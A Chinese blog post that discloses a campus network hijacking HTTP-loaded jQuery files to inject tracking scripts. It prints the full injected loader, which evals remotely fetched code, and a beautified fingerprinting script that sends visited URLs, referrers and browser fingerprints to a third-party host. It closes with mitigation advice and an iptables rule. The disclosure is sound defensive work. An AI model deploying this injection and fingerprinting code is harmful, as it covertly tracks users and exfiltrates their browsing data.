本校校园网之前会通过注入 jQuery 一类的 JavaScript 文件,采集用户指纹,并分享网页访问行为数据到某第三方网站(即便它与学校有关联),这个行为是在前端公开可查的。本问题于2017年11月12日反馈给校园网官方,于更早之前发现并开始研究。在临近发文之时,没有观察到这个问题重现。后来又观察到问题重现,只是频率显著减少。
本文从技术角度作一些分享和分析。
问题简述
当校园网用户访问一些网站时,可能会被加载出非预期的脚本文件,导致用户指纹和网页访问行为分享给第三方。这时用户从表明上感受几乎感受不到异常。
如果用户开启了一些广告/隐私过滤器,则可能拦截注入脚本,使得原本该加载的 jQuery 等脚本不能加载,导致网页效果不正常。
技术说明
如访问网站 http://it360.org.cn/
,其会加载一些 .js 文件,比如 j-1.10.2.min.js
、jquery-2.1.4.min.js
和 jquery.cookie.js
。在校园网环境下,会有一个 JS 被劫持(在此例中被劫持的文件不固定,并且可能不止一个),而返回被篡改的内容,如下图:
被篡改的内容如果正常执行,会去请求含正常内容的 JS 文件,地址为 http://ssp.coostack.com/common/api/v1.0/src_script/?path=***
,其中星号代表原 JS 文件网址。
因而如果这些被顺利加载,网站的效果并不会有所改变。但是被篡改的内容执行后在页面执行了另一个 JS 脚本,后者继续向页面注入 JS,最终会将用户的用户访问行为连带指纹一同发送给域名为 qpmz.kumihua.com
的服务器。部分恶意代码如下:
其他观察到劫持现象的部分网站有:
- http://www.qq.com/
- http://www.csust.edu.cn/
- http://think.lenovo.com.cn/
- http://hr.youdao.com/
- http://et.163yun.com/
其中有像腾讯网这样的大站,也有小站,甚至学校官网本身也受到“礼遇”。
部分被劫持的文件有:(劫持前地址)
- http://et.163yun.com/assets/introduce_da-17d8cbf984181482f2327bc8112cacb2b29a0553deaf8af0c52ddcbd968ff6b2.js
- http://hr.youdao.com/js/jquery-1.11.1.min.js
- http://dcs.conac.cn/js/19/000/0000/40402021/CA190000000404020210005.js
- http://qzonestyle.gtimg.cn/qzone/biz/ac/comm/qbscomm.20150907.js
- http://mat1.gtimg.com/www/js/qq2012/weatherNew_1.6.js
发现是访问带有 jQuery(或相关)脚本的网页时会这样,暂不清楚明确的规则。其中有些不是 jQuery 文件,有些是。有些不好复现,有些复现率几乎是百分之百。有意思的是,直接访问 JS 文件,并不能观察到劫持现象,必须是在网页中加载的才会。
鉴于 jQuery 是一个使用相当广泛的框架,不少网页都用到它,这个问题也比较严重。
根据域名涉及到的网站的 UI 来看,个人认为这个 JS 劫持问题与学校的缓存服务器供应商有着密切的联系。www.coostack.com
的页面署名为北京艾迪云思技术有限责任公司
。
资料共享
被劫持后脚本内容的实例
这个例子展现的是原来地址为 http://think.lenovo.com.cn/v/js/jquery-1.7.2.min.js
的脚本在加载时被劫持,返回了如下内容:
var sourceScriptURI = 'http://think.lenovo.com.cn/v/js/jquery-1.7.2.min.js';
(function() {
var evalGloble = eval;
var _loader = function(uri) {
if (!top || !this) {
return setTimeout(arguments.callee, 50);
}
if (top != this) {
return;
}
var s = window.top.document.createElement('script');
s.src = uri;
s.type = 'text/javascript';
s.charset = 'utf-8';
s.async = 'true';
window.top.document.body.appendChild(s);
};
var evalSrcScript = function(uri) {
var url = "http://ssp.coostack.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri);
var xhr = new XMLHttpRequest();
xhr.open('GET', url, false);
xhr.setRequestHeader("X-Page-Charset", document.charset);
xhr.send();
try {
evalGloble(xhr.responseText);
} catch(error) {}
};
var getCurrentScript = function(sourceScriptURI) {
var scripts = document.getElementsByTagName('script');
for (var i = 0; i < scripts.length; ++i) {
if (scripts[i].src == sourceScriptURI) return scripts[i];
}
};
var _looper, injection;
var _loop = function() {
switch (document.readyState) {
case 'loading':
break;
case 'interactive':
case 'complete':
clearInterval(_looper);
if (window.__COODAGLIFE__ === undefined) {
_loader(injectionScriptURI + trim(publisherID) + "/");
localStorage.COODAG_SERUM_IC = injectionScriptURI;
window.__COODAGLIFE__ = true;
}
break;
default:
clearInterval(_looper);
break;
}
};
var inject = function() {
_looper = setInterval(_loop, 50);
};
function trim(s){
return s.replace(/(^\s*)|(\s*$)/g, "");
}
var publisherID = 'cadb0cc5-97ce-41db-9550-639d703b050c';
var injectionScriptURI = "http://ssp.coostack.com/common/api/v1.0/slot-code/publisher/";
//var currentScript = getCurrentScript(sourceScriptURI);
if (true) {
evalSrcScript(sourceScriptURI);
}
inject();
})();
进一步加载的脚本之内容
上述例子会再度执行一个脚本,网址为 http://ssp.coostack.com/common/api/v1.0/slot-code/publisher/cadb0cc5-97ce-41db-9550-639d703b050c/
,内容如下:
(function () {
if (!document.body) return setTimeout(arguments.callee, 50);
var e = document.createElement("script");
e.type = "text/javascript";
e.text += '_slot_id = "6db1f967-5bb9-4253-ad45-338102be990e";';
document.body.insertBefore(e, document.body.children.item(0));
var e = document.createElement("script");
e.src = "http://qpmz.kumihua.com/static/sl/sl.js?v=94b962cc8e7d388a1a99cc249517bd8d";
e.type = "text/javascript";
e.async = true;
document.body.insertBefore(e, document.body.children.item(0));
})();
再度注入之脚本
这里是关键部分。从上面看,脚本的网址显然是 http://qpmz.kumihua.com/static/sl/sl.js?v=94b962cc8e7d388a1a99cc249517bd8d
。源代码经过了混淆压缩,这里进行了代码美化整理:
(function(b, c, a) {
c[b] = a()
})("Fingerprint", this, function() {
var a = function(d) {
var c, b;
c = Array.prototype.forEach;
b = Array.prototype.map;
this.each = function(k, j, h) {
if (k === null) {
return
}
if (c && k.forEach === c) {
k.forEach(j, h)
} else {
if (k.length === +k.length) {
for (var g = 0, e = k.length; g < e; g++) {
if (j.call(h, k[g], g, k) === {}) {
return
}
}
} else {
for (var f in k) {
if (k.hasOwnProperty(f)) {
if (j.call(h, k[f], f, k) === {}) {
return
}
}
}
}
}
};
this.map = function(h, g, f) {
var e = [];
if (h == null) {
return e
}
if (b && h.map === b) {
return h.map(g, f)
}
this.each(h, function(k, i, j) {
e[e.length] = g.call(f, k, i, j)
});
return e
};
if (typeof d == "object") {
this.hasher = d.hasher;
this.screen_resolution = d.screen_resolution;
this.screen_orientation = d.screen_orientation;
this.canvas = d.canvas;
this.ie_activex = d.ie_activex
} else {
if (typeof d == "function") {
this.hasher = d
}
}
};
a.prototype = {
get: function() {
var c = [];
c.push(navigator.userAgent);
c.push(navigator.language);
c.push(screen.colorDepth);
if (this.screen_resolution) {
var b = this.getScreenResolution();
if (typeof b !== "undefined") {
c.push(b.join("x"))
}
}
c.push(new Date().getTimezoneOffset());
c.push(this.hasSessionStorage());
c.push(this.hasLocalStorage());
c.push(this.hasIndexDb());
if (document.body) {
c.push(typeof(document.body.addBehavior))
} else {
c.push(typeof undefined)
}
c.push(typeof(window.openDatabase));
c.push(navigator.cpuClass);
c.push(navigator.platform);
c.push(navigator.doNotTrack);
c.push(this.getPluginsString());
if (this.canvas && this.isCanvasSupported()) {
c.push(this.getCanvasFingerprint())
}
if (this.hasher) {
return this.hasher(c.join("###"), 31)
} else {
return this.murmurhash3_32_gc(c.join("###"), 31)
}
},
murmurhash3_32_gc: function(j, f) {
var k, l, h, b, e, c, g, d;
k = j.length & 3;
l = j.length - k;
h = f;
e = 3432918353;
c = 461845907;
d = 0;
while (d < l) {
g = ((j.charCodeAt(d) & 255)) | ((j.charCodeAt(++d) & 255) << 8) | ((j.charCodeAt(++d) & 255) << 16) | ((j.charCodeAt(++d) & 255) << 24);
++d;
g = ((((g & 65535) * e) + ((((g >>> 16) * e) & 65535) << 16))) & 4294967295;
g = (g << 15) | (g >>> 17);
g = ((((g & 65535) * c) + ((((g >>> 16) * c) & 65535) << 16))) & 4294967295;
h ^= g;
h = (h << 13) | (h >>> 19);
b = ((((h & 65535) * 5) + ((((h >>> 16) * 5) & 65535) << 16))) & 4294967295;
h = (((b & 65535) + 27492) + ((((b >>> 16) + 58964) & 65535) << 16))
}
g = 0;
switch (k) {
case 3:
g ^= (j.charCodeAt(d + 2) & 255) << 16;
case 2:
g ^= (j.charCodeAt(d + 1) & 255) << 8;
case 1:
g ^= (j.charCodeAt(d) & 255);
g = (((g & 65535) * e) + ((((g >>> 16) * e) & 65535) << 16)) & 4294967295;
g = (g << 15) | (g >>> 17);
g = (((g & 65535) * c) + ((((g >>> 16) * c) & 65535) << 16)) & 4294967295;
h ^= g
}
h ^= j.length;
h ^= h >>> 16;
h = (((h & 65535) * 2246822507) + ((((h >>> 16) * 2246822507) & 65535) << 16)) & 4294967295;
h ^= h >>> 13;
h = ((((h & 65535) * 3266489909) + ((((h >>> 16) * 3266489909) & 65535) << 16))) & 4294967295;
h ^= h >>> 16;
return h >>> 0
},
hasLocalStorage: function() {
try {
return !!window.localStorage
} catch (b) {
return true
}
},
hasSessionStorage: function() {
try {
return !!window.sessionStorage
} catch (b) {
return true
}
},
hasIndexDb: function() {
try {
return !!window.indexedDB
} catch (b) {
return true
}
},
isCanvasSupported: function() {
var b = document.createElement("canvas");
return !!(b.getContext && b.getContext("2d"))
},
isIE: function() {
if (navigator.appName === "Microsoft Internet Explorer") {
return true
} else {
if (navigator.appName === "Netscape" && /Trident/.test(navigator.userAgent)) {
return true
}
}
return false
},
getPluginsString: function() {
if (this.isIE() && this.ie_activex) {
return this.getIEPluginsString()
} else {
return this.getRegularPluginsString()
}
},
getRegularPluginsString: function() {
return this.map(navigator.plugins, function(c) {
var b = this.map(c, function(d) {
return [d.type, d.suffixes].join("~")
}).join(",");
return [c.name, c.description, b].join("::")
}, this).join(";")
},
getIEPluginsString: function() {
if (window.ActiveXObject) {
var b = ["ShockwaveFlash.ShockwaveFlash", "AcroPDF.PDF", "PDF.PdfCtrl", "QuickTime.QuickTime", "rmocx.RealPlayer G2 Control", "rmocx.RealPlayer G2 Control.1", "RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)", "RealVideo.RealVideo(tm) ActiveX Control (32-bit)", "RealPlayer", "SWCtl.SWCtl", "WMPlayer.OCX", "AgControl.AgControl", "Skype.Detection"];
return this.map(b, function(c) {
try {
new ActiveXObject(c);
return c
} catch (d) {
return null
}
}).join(";")
} else {
return ""
}
},
getScreenResolution: function() {
var b;
if (this.screen_orientation) {
b = (screen.height > screen.width) ? [screen.height, screen.width] : [screen.width, screen.height]
} else {
b = [screen.height, screen.width]
}
return b
},
getCanvasFingerprint: function() {
var d = document.createElement("canvas");
var c = d.getContext("2d");
var b = "http://valve.github.io";
c.textBaseline = "top";
c.font = "14px 'Arial'";
c.textBaseline = "alphabetic";
c.fillStyle = "#f60";
c.fillRect(125, 1, 62, 20);
c.fillStyle = "#069";
c.fillText(b, 2, 15);
c.fillStyle = "rgba(102, 204, 0, 0.7)";
c.fillText(b, 4, 17);
return d.toDataURL()
}
};
return a
});
(function() {
function o(q) {
try {
document.body.insertBefore(b(q), document.body.children.item(0))
} catch (i) {}
}
function b(q) {
var i = document.createElement("script");
i.src = q;
i.async = true;
i.type = "text/javascript";
return i
}
function h(t, s) {
var u = document.documentElement.clientWidth;
var r = document.documentElement.clientHeight;
var p = "u=" + encodeURIComponent(window.location.href);
p += "&a=" + Math.random();
p += "&w=" + u;
p += "&h=" + r;
p += "&r=" + encodeURIComponent(document.referrer);
p += "&uid=" + s;
for (var q = 0; q < t.length; q++) {
p += "&d=" + t[q]
}
if (true) {
o("http://qpmz.kumihua.com/common/api/v1.0/al?" + p)
}
}
function n(s) {
var i = s.innerHTML;
if (!document.all) {
return i
}
var q = /(\s+\w+)\s*=\s*([^<>"\s]+)(?=[^<>]*\/>)/ig;
var r = /"'([^'"]*)'"/ig;
i = i.replace(q, '$1="$2"').replace(r, '"$1"');
var p = i.replace(/<(\/?)(\w+)([^>]*)>/g, function(u, t, w, v) {
if (t) {
return "</" + w.toLowerCase() + ">"
}
return ("<" + w.toLowerCase() + v + ">").replace(/=(("[^"]*?")|('[^']*?')|([\w\-\.]+))([\s>])/g, function(D, y, E, C, B, A, x, z) {
if (B) {
return '="' + B + '"' + A
}
return D
})
});
return p.replace(/<\/?([^>]+)>/g, function(t) {
return t
})
}
var k = new Fingerprint({
ie_activex: true
}).get();
var m = /^_slot_id\s*=\s*"[\w-]+"/;
var l = new Array();
if (!-[1, ]) {
var a = new RegExp("<script[^>]*>(.*?)<\/script>", "g");
var j = n(document.body).match(a);
for (var g = 0; g < j.length; g++) {
var f = j[g].indexOf(">");
var e = j[g].lastIndexOf("<");
var d = j[g].substring(f + 1, e);
if (d.match(m)) {
l.push(d.split('"')[1])
}
}
} else {
var c = document.getElementsByTagName("script");
for (var g = 0; g < c.length; g++) {
if (c[g].innerHTML.match(m)) {
l.push(c[g].innerHTML.split('"')[1])
}
}
}
h(l, k)
})();
脚本收集了用户正在浏览的网页地址,和来源网址(Referrer),并采集指纹。在采集指纹时,可以看出考虑了客户端屏幕尺寸、浏览器插件,用上了 LocalStorage、Canvas Fingerprint 等前沿的追踪技术。最后将用户指纹、屏幕尺寸、访问网页和来源页等参数汇集,以 GET 请求发送给 http://qpmz.kumihua.com/common/api/v1.0/al
。
解决方案
用户可以在使用校园网浏览网页时,使用私密隧道保证安全性。也可尽量访问 HTTPS 的网站。使用如隐私獾(Privacy Badger)之类的智能隐私过滤器也是极好的。除了这些通用的方案,实测以下防火墙规则是有效的:
iptables -I FORWARD -p tcp --sport 80 --tcp-flags ACK ACK -m string --algo bm --string "var url = \" http://ssp.coostack.com/common/ " -j DROP
临近发文之时,已未观察到问题重现,应该是学校解决好了,大家不用担心了。12月3日补充:又观察到问题重现,看起来并没有妥善解决,留给各位判断。
本文系原创,如需转载请注明来源链接:https://www.xuab.net/archives/31.html
@(滑稽)板凳板凳
是沙发@(呵呵)
hayaxisan